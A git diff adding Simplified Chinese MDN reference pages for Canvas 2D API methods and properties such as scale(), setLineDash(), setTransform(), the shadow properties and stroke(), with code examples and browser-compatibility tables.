+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-save", "CanvasRenderingContext2D.save")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/scale/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/scale/index.html new file mode 100644 index 0000000000..db95fca214 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/scale/index.html @@ -0,0 +1,133 @@ +--- +title: CanvasRenderingContext2D.scale() +slug: Web/API/CanvasRenderingContext2D/scale +translation_of: Web/API/CanvasRenderingContext2D/scale +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.scale() 是 Canvas 2D API 根据 x 水平方向和 y 垂直方向,为canvas 单位添加缩放变换的方法。

+ +

默认的, 在 canvas 中一个单位实际上就是一个像素。例如,如果我们将0.5作为缩放因子,最终的单位会变成0.5像素,并且形状的尺寸会变成原来的一半。相似的方式,我们将2.0作为缩放因子,将会增大单位尺寸变成两个像素。形状的尺寸将会变成原来的两倍。

+ +

语法

+ +
void ctx.scale(x, y);
+
+ +

参数

+ +
+
x
+
水平方向的缩放因子。A negative value flips pixels across the vertical axis. A value of 1 results in no horizontal scaling.
+
y
+
垂直方向的缩放因子。A negative value flips pixels across the horizontal axis. A value of 1 results in no vertical scaling.
+
+ +

示例

+ +

使用 scale 方法

+ +

这是一段使用 scale 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +

The rectangle has a specified width of 8 and a height of 20. The transformation matrix scales it by 9x horizontally and by 3x vertically. Thus, its final size is a width of 72 and a height of 60.

+ +

Notice that its position on the canvas also changes. Since its specified corner is (10, 10), its rendered corner becomes (90, 30).

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Scaled rectangle
+ctx.scale(9, 3);
+ctx.fillStyle = 'red';
+ctx.fillRect(10, 10, 8, 20);
+
+// Reset current transformation matrix to the identity matrix
+ctx.setTransform(1, 0, 0, 1, 0, 0);
+
+// Non-scaled rectangle
+ctx.fillStyle = 'gray';
+ctx.fillRect(10, 10, 8, 20);
+ +

结果

+ +

The scaled rectangle is red, and the non-scaled rectangle is gray.

+ +

{{ EmbedLiveSample('Scaling_a_shape', 700, 180) }}

+ +

使用 scale 水平或竖直翻转

+ +

你可以使用 ctx.scale(-1, 1) 水平翻转上下文,使用 ctx.scale(1, -1) 垂直翻转上下文。在这个例子中,"Hello world!" 被水平翻转。

+ +

Note that the call to {{domxref("CanvasRenderingContext2D.fillText()", "fillText()")}} specifies a negative x coordinate. This is to adjust for the negative scaling factor: -280 * -1 becomes 280, and text is drawn leftwards from that point.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.scale(-1, 1);
+ctx.font = '48px serif';
+ctx.fillText('Hello world!', -280, 90);
+ctx.setTransform(1, 0, 0, 1, 0, 0);
+
+ +

Result

+ +

{{ EmbedLiveSample('Flipping_things_horizontally_or_vertically', 700, 180) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-scale", "CanvasRenderingContext2D.scale")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.scale")}}

+ +

参见

+ + + +

+ +

+ +

+ +

+ +

+ +

+ +

+ +

diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/scrollpathintoview/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/scrollpathintoview/index.html new file mode 100644 index 0000000000..222fb61aa0 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/scrollpathintoview/index.html @@ -0,0 +1,172 @@ +--- +title: CanvasRenderingContext2D.scrollPathIntoView() +slug: Web/API/CanvasRenderingContext2D/scrollPathIntoView +translation_of: Web/API/CanvasRenderingContext2D/scrollPathIntoView +--- +
{{APIRef}} {{SeeCompatTable}}
+ +

CanvasRenderingContext2D.scrollPathIntoView() 是 Canvas 2D API 将当前或给定的路径滚动到窗口的方法。类似于 {{domxref("Element.scrollIntoView()")}}。

+ +

语法

+ +
void ctx.scrollPathIntoView();
+void ctx.scrollPathIntoView(path);
+
+ +

参数

+ +
+
path
+
使用的{{domxref("Path2D")}} 路径。
+
+ +

示例

+ +

使用 scrollPathIntoView 方法

+ +

这是一段使用 scrollPathIntoView 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.fillRect(10, 10, 30, 30);
+ctx.scrollPathIntoView();
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas">
+<input id="button" type="range" min="1" max="12">
+</canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.beginPath();
+ctx.rect(10, 10, 30, 30);
+ctx.scrollPathIntoView();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-scrollpathintoview", "CanvasRenderingContext2D.scrollPathIntoView")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}[1]{{CompatNo}}
+ {{bug(1120401)}}
{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}
+ {{bug(1120401)}}
{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

兼容性注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/setlinedash/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/setlinedash/index.html new file mode 100644 index 0000000000..710d8f9e53 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/setlinedash/index.html @@ -0,0 +1,183 @@ +--- +title: CanvasRenderingContext2D.setLineDash() +slug: Web/API/CanvasRenderingContext2D/setLineDash +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Dashes + - LInes + - Method + - setLineDash +translation_of: Web/API/CanvasRenderingContext2D/setLineDash +--- +
{{APIRef}}
+ +

Canvas 2D API的{{domxref("CanvasRenderingContext2D")}}接口的setLineDash()方法在填充线时使用虚线模式。 它使用一组值来指定描述模式的线和间隙的交替长度。

+ +
+

提示:如果要切换回至实线模式,将 dash list 设置为一个空数组即可。

+
+ +

语法

+ +
void ctx.setLineDash(segments);
+
+ +

参数

+ +
+
segments
+
一个{{jsxref("Array")}}数组。一组描述交替绘制线段和间距(坐标空间单位)长度的数字。 如果数组元素的数量是奇数, 数组的元素会被复制并重复。例如, [5, 15, 25] 会变成 [5, 15, 25, 5, 15, 25]。
+
+

返回值

+
+
{{jsxref("undefined")}}
+
+ +

示例

+ +

基本示例

+ +

这是一段简单的代码片段,使用 setLineDash 方法绘制一条线段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Dashed line
+ctx.beginPath();
+ctx.setLineDash([5, 15]);
+ctx.moveTo(0, 50);
+ctx.lineTo(300, 50);
+ctx.stroke();
+
+// Solid line
+ctx.beginPath();
+ctx.setLineDash([]);
+ctx.moveTo(0, 100);
+ctx.lineTo(300, 100);
+ctx.stroke();
+
+ +

结果

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.setLineDash([5, 15]);
+ctx.beginPath();
+ctx.moveTo(0,100);
+ctx.lineTo(400, 100);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('基本示例', 700, 360) }}

+ +

一些常见的模式

+ +

此示例说明了各种常见的线划线模式。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +

下面创建的drawDashedLine() 函数使得多个虚线的绘制变得简单。它接收模式数组作为其唯一参数。

+ +
function drawDashedLine(pattern) {
+  ctx.beginPath();
+  ctx.setLineDash(pattern);
+  ctx.moveTo(0, y);
+  ctx.lineTo(300, y);
+  ctx.stroke();
+  y += 20;
+}
+
+const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+let y = 15;
+
+drawDashedLine([]);
+drawDashedLine([1, 1]);
+drawDashedLine([10, 10]);
+drawDashedLine([20, 5]);
+drawDashedLine([15, 3, 3, 3]);
+drawDashedLine([20, 3, 3, 3, 3, 3, 3, 3]);
+drawDashedLine([12, 3, 3]);  // Equals [12, 3, 3, 12, 3, 3]
+ +

Result

+ +

{{ EmbedLiveSample('一些常见的模式', 700, 180) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-setlinedash", "CanvasRenderingContext2D.setLineDash")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.setLineDash")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/settransform/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/settransform/index.html new file mode 100644 index 0000000000..23302386e7 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/settransform/index.html @@ -0,0 +1,129 @@ +--- +title: CanvasRenderingContext2D.setTransform() +slug: Web/API/CanvasRenderingContext2D/setTransform +translation_of: Web/API/CanvasRenderingContext2D/setTransform +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.setTransform() 是 Canvas 2D API 使用单位矩阵重新设置(覆盖)当前的变换并调用变换的方法,此变换由方法的变量进行描述。

+ +

参见 {{domxref("CanvasRenderingContext2D.transform()", "transform()")}} 方法,这个方法不会覆盖当前的变换矩阵,会多次叠加变换。

+ +

语法

+ +
void ctx.setTransform(a, b, c, d, e, f);
+
+ +

变换矩阵的描述: [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right]

+ +

参数

+ +
+
a (m11)
+
水平缩放。
+
b (m12)
+
垂直倾斜。
+
c (m21)
+
水平倾斜。
+
d (m22)
+
垂直缩放。
+
e (dx)
+
水平移动。
+
f (dy)
+
垂直移动。
+
+ +

较新的类型由单个参数矩阵组成,该参数表示要设置的2D转换矩阵(从技术上讲,是DOMMatrixInit对象;任何对象只要包含上述作为属性的组件,就可以执行操作)。

+ +

示例

+ +

使用 setTransform 方法

+ +

这是一段使用 setTransform 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.setTransform(1,1,0,1,0,0);
+ctx.fillRect(0,0,100,100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.setTransform(1,1,0,1,0,0);
+ctx.fillRect(0,0,100,100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-settransform", "CanvasRenderingContext2D.setTransform")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.CanvasRenderingContext2D.setTransform")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/shadowblur/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/shadowblur/index.html new file mode 100644 index 0000000000..db68cece53 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/shadowblur/index.html @@ -0,0 +1,174 @@ +--- +title: CanvasRenderingContext2D.shadowBlur +slug: Web/API/CanvasRenderingContext2D/shadowBlur +translation_of: Web/API/CanvasRenderingContext2D/shadowBlur +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.shadowBlur 是 Canvas 2D API 描述模糊效果程度的属性; 它既不对应像素值也不受当前转换矩阵的影响。 默认值是 0。

+ +

语法

+ +
ctx.shadowBlur = level;
+
+ +
+
level
+
描述模糊效果程度的,float 类型的值。默认值是 0。 负数、 {{jsxref("Infinity")}} 或者 {{jsxref("NaN")}} 都会被忽略。
+
+ +

示例

+ +

使用 shadowBlur 属性

+ +

这是一段简单的代码片段,使用 shadowblur 属性设置模糊阴影。 注意:只有设置shadowColor属性值为不透明,阴影才会被绘制。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.shadowColor = "black";
+ctx.shadowBlur = 10;
+
+ctx.fillStyle = "white";
+ctx.fillRect(10, 10, 100, 100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-shadowblur", "CanvasRenderingContext2D.shadowBlur")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ + + + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/shadowcolor/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/shadowcolor/index.html new file mode 100644 index 0000000000..7908d32141 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/shadowcolor/index.html @@ -0,0 +1,176 @@ +--- +title: CanvasRenderingContext2D.shadowColor +slug: Web/API/CanvasRenderingContext2D/shadowColor +translation_of: Web/API/CanvasRenderingContext2D/shadowColor +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.shadowColor 是 Canvas 2D API 描述阴影颜色的属性。

+ +

语法

+ +
ctx.shadowColor = color;
+
+ +
+
color
+
可以转换成 CSS {{cssxref("<color>")}} 值的{{domxref("DOMString")}} 字符串。 默认值是 fully-transparent black.
+
+ +

示例

+ +

使用 shadowColor 属性

+ +

这是一段简单的代码片段,使用 shadowColor 属性设置阴影的颜色。 注意:shadowColor属性设置成不透明的,并且 {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}、 {{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX")}} 或者 {{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY")}} 属性不为0,阴影才会被绘制。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.shadowColor = "black";
+ctx.shadowOffsetY = 10;
+ctx.shadowOffsetX = 10;
+
+ctx.fillStyle = "green"
+ctx.fillRect(10, 10, 100, 100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-shadowcolor", "CanvasRenderingContext2D.shadowColor")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ + + + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/shadowoffsetx/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/shadowoffsetx/index.html new file mode 100644 index 0000000000..0c22525ceb --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/shadowoffsetx/index.html @@ -0,0 +1,166 @@ +--- +title: CanvasRenderingContext2D.shadowOffsetX +slug: Web/API/CanvasRenderingContext2D/shadowOffsetX +translation_of: Web/API/CanvasRenderingContext2D/shadowOffsetX +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.shadowOffsetX 是 Canvas 2D API 描述阴影水平偏移距离的属性。

+ +

Syntax

+ +
ctx.shadowOffsetX = offset;
+
+ +
+
offset
+
阴影水平偏移距离的float类型的值。默认值是 0。  {{jsxref("Infinity")}} 或者{{jsxref("NaN")}}都会被忽略。
+
+ +

示例

+ +

使用 shadowOffsetX 属性

+ +

这是一段简单的代码片段,使用 shadowOffsetX 属性设置阴影的水平偏移量。注意:将shadowColor属性设置成不透明,阴影才会被绘制。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.shadowColor = "black";
+ctx.shadowOffsetX = 10;
+ctx.shadowBlur = 10;
+
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-shadowoffsetx", "CanvasRenderingContext2D.shadowOffsetX")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/shadowoffsety/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/shadowoffsety/index.html new file mode 100644 index 0000000000..61a9bc37a1 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/shadowoffsety/index.html @@ -0,0 +1,166 @@ +--- +title: CanvasRenderingContext2D.shadowOffsetY +slug: Web/API/CanvasRenderingContext2D/shadowOffsetY +translation_of: Web/API/CanvasRenderingContext2D/shadowOffsetY +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.shadowOffsetY 是 Canvas 2D API 描述阴影垂直偏移距离的属性。

+ +

语法

+ +
ctx.shadowOffsetY = offset;
+
+ +
+
offset
+
阴影垂直偏移距离的float类型的值。 默认值是 0。  {{jsxref("Infinity")}} 或者{{jsxref("NaN")}} 都会被忽略。
+
+ +

示例

+ +

使用 shadowOffsetY 属性

+ +

这是一段简单的代码片段,使用 shadowOffsetY 属性绘制阴影垂直偏移量。注意:将shadowColor属性设置成不透明,阴影才会被绘制。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.shadowColor = "black";
+ctx.shadowOffsetY = 10;
+ctx.shadowBlur = 10;
+
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-shadowoffsety", "CanvasRenderingContext2D.shadowOffsetY")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/stroke/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/stroke/index.html new file mode 100644 index 0000000000..0eaef6e3af --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/stroke/index.html @@ -0,0 +1,175 @@ +--- +title: CanvasRenderingContext2D.stroke() +slug: Web/API/CanvasRenderingContext2D/stroke +translation_of: Web/API/CanvasRenderingContext2D/stroke +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.stroke() 是 Canvas 2D API 使用非零环绕规则,根据当前的画线样式,绘制当前或已经存在的路径的方法。

+ +

语法

+ +
void ctx.stroke();
+void ctx.stroke(path);
+
+ +

Parameters

+ +
+
path
+
绘制的路径{{domxref("Path2D")}} 。
+
+ +

示例

+ +

使用 stroke 方法

+ +

这是一段简单的代码片段,使用 stroke 方法绘制一条路径。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroke", "CanvasRenderingContext2D.stroke")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Path parameter{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(31) }}{{ CompatNo }}{{ CompatVersionUnknown() }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Path parameter{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatGeckoMobile(31) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/strokerect/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/strokerect/index.html new file mode 100644 index 0000000000..6cb5bf9f54 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/strokerect/index.html @@ -0,0 +1,110 @@ +--- +title: CanvasRenderingContext2D.strokeRect() +slug: Web/API/CanvasRenderingContext2D/strokeRect +tags: + - API + - Canvas +translation_of: Web/API/CanvasRenderingContext2D/strokeRect +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.strokeRect() 是 Canvas 2D API 在 canvas 中,使用当前的绘画样式,描绘一个起点在 (x, y) 、宽度为 w 、高度为 h 的矩形的方法。

+ +

此方法直接绘制到画布而不修改当前路径,因此任何后续{{domxref("CanvasRenderingContext2D.fill()", "fill()")}} 或{{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}调用对它没有影响。

+ +

语法

+ +
void ctx.strokeRect(x, y, width, height);
+
